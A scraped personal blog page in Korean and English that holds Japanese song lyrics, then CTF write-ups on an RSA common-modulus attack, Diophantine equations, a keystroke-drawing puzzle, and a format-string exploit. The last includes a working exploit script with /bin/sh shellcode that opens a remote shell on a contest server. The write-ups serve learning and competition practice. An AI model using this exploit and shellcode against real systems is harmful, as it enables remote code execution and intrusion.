もうちょっと音(おと)を上(あ)げるよ

ファルセットだけじゃきついかな?ww

高音厨(こうおんちゅう)のお前(まえ)らならば

朝飯前(あさめしまえ)だよね


hiG hihiA hihiA# hihiC hihiD


ギブアップしてもいいのよ?


最後(さいご)は一気(いっき)に上(あ)げちゃうよ

もはや歌詞(かし)も聞(き)き取(と)れないね

高音厨(こうおんちゅう)の本気(ほんき)の力(ちから)

見(み)せておくれよ


hihiC hihiD hihiD# hihiF hihiG


終(お)わりだよ

いや嘘(うそ)だよ


hihihiA hihihiB hihihiC hihihiD hihihiE


ここまで出(で)たなら

合格(ごうかく)



--- 単語 ---

お前ら: 너희. ら가 뒤에 붙어서 복수가 된다는 걸 잊어버림...

ファルセット: (남성의) 가성. falsetto.

朝飯前: 누워서 떡 먹기.


'Diary' 카테고리의 다른 글

CVE 획득  (1) 2016.03.21
BoB 4기 최종합격!!!  (2) 2015.06.26
엿같은 Active X  (0) 2015.04.12
네팔 여행기 - Kailashnath Mahadev Statue in Sanga  (0) 2015.01.30
지식iN 폐인짓  (0) 2015.01.26

flag가 여러 번 암호화된 다음 파일이 주어집니다.

The file below is given saying that the flag is encrypted several times.

captured_827a1815859149337d928a8a2c88f89f


맨 윗줄에 {N : e : c}라는 설명이 있는데, RSA인 듯합니다.

At the top there is {N : e : c}, and we can assume that it is RSA.

특징을 살펴보면 N이 다 같은 것을 볼 수 있습니다. 이 때 사용할 수 있는 공격은 Common Modulus Attack입니다. (참고: http://diamond.boisestate.edu/~liljanab/ISAS/course_materials/AttacksRSA.pdf)

Looking into the file, we notice that all the N are the same. In this case, we can do Common Modulus Attack. (Reference: http://diamond.boisestate.edu/~liljanab/ISAS/course_materials/AttacksRSA.pdf)


먼저 N, e, C를 파싱하고, 서로소인 \(e_{1}\)과 \(e_{2}\)을 찾습니다.

First we parse N, e, C, then look for \(e_{1}\) and \(e_{2}\), which are relatively primes.

# parsing
s = open('captured_827a1815859149337d928a8a2c88f89f', 'rt').read()[12:] # excluding top {N : e : c}
N=[]
e=[]
C=[]
s=s.replace(' ','')
for i in s.split():
	t=map(eval,i.replace(' ','').lstrip('{').rstrip('}').split(':'))
	N.append(t[0])
	e.append(t[1])
	C.append(t[2])

# find relatively prime e1, e2
import itertools, fractions
for i,j in itertools.combinations(e, 2):
	if fractions.gcd(i, j)==1: print e.index(i),e.index(j)

결과: 8, 18

Result: 8, 18

따라서 서로소인 \(e_1=e[8]\)과 \(e_2=e[18]\)를 찾았습니다. 그럼 이제 다음 식을 만족하는 \(x, y\)를 찾아야합니다.

So we found \(e_1=e[8]\) and \(e_2=e[18]\). Now we have to find \(x, y\) such that

\[x\times e_1+y\times e_2=1\]

이는 Diophantine 방정식(참고: http://yum3.tistory.com/22)을 이용해서 찾을 수 있습니다. diophantine(e[8], e[18], 1)을 넣으면 \((x,y)=(-3898661337, 407775632)\)가 반환됩니다. 그러면 \(C_{1}^x\times C_{2}^y \mod n\)을 통해 P를 알아낼 수 있습니다. 하지만 \(x\)가 음수이므로 \(C_{1}^{-3898661337}=(C_{1}^{3898661337})^{-1}\)로 바꿔줘야하고, \(C_{1}^{3898661337}\)의 modular 연산의 역원(Multiplicative Inverse)을 구해야합니다.

This can be easily found using Diophantine Equation. Using the function specified here: http://yum3.tistory.com/22, diophantine(e[8], e[18], 1) would result in \((x,y)=(-3898661337, 407775632)\). Then we can easily find the plaintext by \(C_{1}^x\times C_{2}^y \mod n\). However, because \(x\) is negative, we have to consider \(C_{1}^{-3898661337}=(C_{1}^{3898661337})^{-1}\), which is the multiplicative inverse of \(C_{1}^{3898661337}\) in modular operation.

Multiplicative Inverse는 다음과 같은 코드로 구할 수 있습니다.

We can find Multiplicative Inverse using the following code:

def mul_inv(a, n):
	if n == 1: return 1
	
	r1, r2 = n, a
	t1, t2 = 0, 1
	
	while r2 != 0:
		q = r1/r2
		r1, r2 = r2, r1%r2
		t1, t2 = t2, t1-q*t2
	if t1 < 0: t1 += n
	return t1

최종 코드는 다음과 같습니다.

The final code is as follows:

def diophantine(a, b, c):
	'''returns (x, y) where ax+by=c'''
	r1, r2 = a, b
	s1, s2 = 1, 0
	t1, t2 = 0, 1
	
	while r2!=0:
		q = r1/r2
		r1, r2 = r2, r1%r2
		s1, s2 = s2, s1-q*s2
		t1, t2 = t2, t1-q*t2
	# gcd: r1
	return (c/r1*s1, c/r1*t1)

def mul_inv(a, n):
	if n == 1: return 1
	
	r1, r2 = n, a
	t1, t2 = 0, 1
	
	while r2 != 0:
		q = r1/r2
		r1, r2 = r2, r1%r2
		t1, t2 = t2, t1-q*t2
	if t1 < 0: t1 += n
	return t1

x, y = diophantine(e[8], e[18], 1)
print hex((mul_inv(pow(C[8],-x,N[0]),N[0])*pow(C[18],y,N[0]))%N[0])

결과는 '0x666c61675f537472656e6774685f4c6965735f496e5f446966666572656e636573L'이 나오는데, 이를 decode하면 Flag를 얻을 수 있습니다.

It prints '0x666c61675f537472656e6774685f4c6965735f496e5f446966666572656e636573L', and we decode it to get the flag.


Flag: flag_Strength_Lies_In_Differences

주어진 정수 \(a, b, c\)에 대하여 \[ax + by = c\]를 만족하는 정수 \(x, y\)를 찾는게 목적이다.

\(d\)는 \(a, b\)의 최대공약수라고 하자. 이 때, \(d\mid c\)인 경우 무한한 \(x, y\)가 존재하고, \(d\nmid c\)인 경우 해는 존재하지 않는다. (\(a\mid b\)의 의미는, \(a\)는 \(b\)를 나눌 수 있다는 의미이다.)

해가 존재할 경우, 특수해(Particular Solution)는 \(x_0=c/d\times s, y_0=c/d\times t\)로 구한다. 이 때 s와 t는 Extended Euclidean Algorithm으로 구한 값이다.

일반해(General Solution)는 \(x=x_0+k(b/d), y=y_0-k(a/d) \mbox{ where } k\in \mathbb Z\)로 구할 수 있다.


예를 들어 방정식 \(21x +14y =35\)를 풀어보자. 우선 \(d=\mbox{gcd}(21, 14)=7\mid 35\)이므로 무수히 많은 해가 존재한다. 그럼 양변을 7로 나누면 \(3x+2y=5\)로 간소화할 수 있다. 이제 \(s\)와 \(t\)를 구하기 위해 Extended Euclidean Algorithm을 사용하면

\(q\)

\(r_1\)

\(r_2\)

\(r\)

\(s_1\)

\(s_2\)

\(s\)

\(t_1\)

\(t_2\)

\(t\)

1

3

2

1

1

0

1

0

1

-1

2

2

1

0

0

1

-2

1

-1

3

1

0

1

-2

-1

3

따라서 \(s=1, t=-1\)이므로 특수해는 \(x_0=35/7\times 1=5, y_0=35/7\times -1=-5\)이고, 일반해는 \(x=5+2k, y=-5-3k\)가 된다.


디오판틴 방정식의 특수해(\(x_0, y_0\))를 구하는 파이썬 코드를 작성해보자.

def diophantine(a, b, c):
	'''returns (x, y) where ax+by=c'''
	r1, r2 = a, b
	s1, s2 = 1, 0
	t1, t2 = 0, 1
	
	while r2!=0:
		q = r1/r2
		r1, r2 = r2, r1%r2
		s1, s2 = s2, s1-q*s2
		t1, t2 = t2, t1-q*t2
	# gcd: r1
	return (c/r1*s1, c/r1*t1)

diophantine(21, 14, 35)를 하면 (5, -5)가 반환되는 것을 볼 수 있다.

다음과 같은 암호(?)가 주어집니다.

We are given the following ciphertext(?).


처음에 보고 약간 멘붕에 빠졌던 문제.

A little confused after peeking at the problem.

수많은 wasd와 간혹 있는 e를 보고 제목의 의미를 알겠더군요.

A lot of "wasd"s and a few "e" made the name of the question clear. Nice!

wasd를 보니 키보드가 생각이 나서 w는 상, s는 하, a는 좌, d는 우 일 것 같다는 생각이 났어요.

I thought of the keyboard where w is up, s is down, a is left, d is right.

그래서 파이썬으로 그려봤습니다. 그런데 이상한 그림이 나오더군요.

So I drew it with python. But a little bizzare image came out.

import Image
s = open('sawed.txt', 'rt').read()

new = Image.new('RGB', (5000,5000),'white')

x = 2500
y = 2500
for i in s:
	if i=='d':
		x += 1
	elif i=='s':
		y += 1
	elif i=='a':
		x -= 1
	elif i=='w':
		y -= 1
	new.putpixel((x,y), (0,0,0))
new.show()

정체를 알 수가 없어서 PWNIOC>TPS7 등 여러 가지를 시도해보았으나 fail..

Couldn't understand what it said, so I tried a couple of things like PWNIOC>TPS7 but all failed..

그래서 admin에게 마지막 글자가 1인지 7인지 물어봤는데 둘 다 아니라고 하더군요.

So I asked admin whether the last character is 1 or 7, but he replied it is neither.

그리고 모두 대문자인지 물어보니, e를 무시하지말라고 하셨어요.

And I asked them if they're all big letters, and he said "don't ignore the significance of e".

그래서 팀원들에게 뭘지 막 물어보다가, e는 일종의 스위치 역할을 한다는 것을 알아냈습니다.

So I bothered my teammates asking about e, and found out that it acts like a kind of switch.

즉, 처음에 e가 나오면 그리는 것을 멈추고 커서만 이동합니다. 그리고 다시 e가 나오면 그리기 시작하고요.

That is, when you meet e for the first time, you stop drawing and just move cursor. And when you meet e again, you start drawing.

그렇게 그림을 그리니 다음과 같이 깔끔하게 글자가 나오는 것을 확인했습니다.

So I drew like that and nice and clear image came out.

import Image
s = open('sawed.txt', 'rt').read()

new = Image.new('RGB', (5000,5000),'white')

x = 2500
y = 2500
ignore = False
for i in s:
	if i=='e':
		ignore = not ignore
	if i=='d':
		x += 1
	elif i=='s':
		y += 1
	elif i=='a':
		x -= 1
	elif i=='w':
		y -= 1
	if not ignore:new.putpixel((x,y), (0,0,0))
new.show()


Flag: PWNING>FPS!

먼저 대회에 대해 잡담을 하자면 왜 하필 pCTF는 매번 시험기간에 열리는지 모르겠네요ㅠㅠ

이번엔 운이 좋아서 시험이 첫 날에 끝나서 혼자 참가할 수 있었네요..


EBP 문제에서는 다음과 같은 바이너리가 주어집니다.

We are given a binary below:

ebp_a96f7231ab81e1b0d7fe24d660def25a.elf


바이너리가 하는 일은 간단합니다. fgets로 전역변수 buf에 1024글자까지 입력을 받아 echo()를 통해 response를 만들고, 출력해줍니다.

What the binary does is simple. It takes input through fgets up to 1024 characters, make response and print it inside echo().

hex-ray를 통해 열어보면 취약점을 금방 발견할 수 있는데요. make_response 함수에서 Format String Bug 취약점이 존재합니다.

We can easily find the vulnerability through hex-ray. In the function make_response(), there exists a Format String Bug vulnerability.

하지만 일반 FSB와는 다르게 buf가 스택에 존재하지 않아서 스택의 값을 변경할 수 없습니다. 이 때, Double Staged FSB라는 기법을 사용해서, 이미 스택에 존재하는 값을 이용해 원하는 주소를 스택에 만들고, 만들어진 주소를 이용해 원하는 주소의 값을 조작할 수 있습니다. (참고: http://pwn3r.tistory.com/entry/Docs-Double-Staged-Format-String-Attack)

However, unlike the usual FSB, buf does not exist on stack so we cannot change any value from stack. In situation like this, we can use a technique called "Double Staged FSB" to forge an existing value on a stack, and use that value to eventually forge an address we want. (Reference: http://pwn3r.tistory.com/entry/Docs-Double-Staged-Format-String-Attack)

그럼 한번 GDB를 통해 snprintf가 호출되기 직전의 stack 상황을 확인해봅시다.

Let's check the stack before calling snprintf() using GDB.

현재 함수의 EBP는 0xffffd538입니다. 0xffffd538에 있는 0xffffd558(이전 함수의 EBP)을 이용해서 이 주소의 값을 전 함수의 return address를 가리키는 주소(0xffffd55c)로 바꾸면 0xffffd55c의 값을 조작할 수 있게 됩니다.

Current EBP is 0xffffd538. Using this, we can overwrite the value on 0xffffd558, which is currently 0xffffd578, with 0xffffd55c, the pointer to return address from previous function, then using 0xffffd55c on the stack, we can change the value on 0xffffd55c, which is currently 0x8048557, to something else.


공격 방법을 도식화하자면 다음과 같습니다.

To visualize the attack procedure:

1. 현재 함수의 EBP를 이용해 전 함수의 EBP를 0xffffd55c로바꾸기

1. Overwrite the value of previous EBP with 0xffffd55c using current EBP

2. 바뀐 주소를 이용해 0xffffd55c(return address를 가리키는 주소) 바꾸기

2. Using the forged 0xffffd55c(pointing to return address), overwrite the return address


그럼 이제 %x를 몇 번을 해야 EBP의 값이 출력되는지 확인합시다.

Now let's check how many %x we need to fetch current EBP.

%4$x에 EBP값이 출력되네요. 그러면 다음과 같이 payload를 구상할 수 있습니다.

1. %4$x로 이전함수의 EBP값을 알아냄 (예: 0xffffd558)

2. 위의 값에 +4를 해서 return address를 담는 주소를 구해서 %4$n으로 덮어씌움 (예: 0xffffd55c => %54260c%4$hn)

3. 원하는 return address로 %12$n


%4$x will do. Then let's plan our payload as follows:

1. Use %4$x to fetch previous EBP (e.g. 0xffffd558)

2. Add 4 to the above address to get a pointer to return address and overwrite it with %4$n (e.g. 0xffffd55c => %54260c%4$hn)

3. Overwrite return address with %12$n


memory map을 확인해보면 buf에 실행 권한이 있음을 확인할 수 있습니다. 따라서 buf에 shellcode를 넣은 뒤, return address를 buf의 주소로 바꿔주면 됩니다.

Checking the memory map, we can notice there is +x permission on buf. So put shellcode on buf, and overwrite return address with the address of buf.


최종 exploit 코드는 다음과 같습니다.

Final exploit code is as follows:

from socket import *
import struct
import telnetlib

s = socket(2,1)
s.connect(('52.6.64.173',4545))

s.send('%4$x\n')
t = s.recv(1024).rstrip()
t = int(t,16)+4 & 0xffff # add 4 to get return address

# first stage
payload = '%'+`t`+'c%4$hn\n'
s.send(payload) # overwrite previous EBP with pointer to return address

# second stage
s.recv(1024)
shellcode = '\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80'
payload = shellcode+'%'+`(0xa080-len(shellcode))`+'c%12$hn\n'
s.send(payload) # overwrite return address to buf
s.recv(1024)

tc = telnetlib.Telnet()  
tc.sock = s
tc.interact() 


Flag: who_needs_stack_control_anyway?

+ Recent posts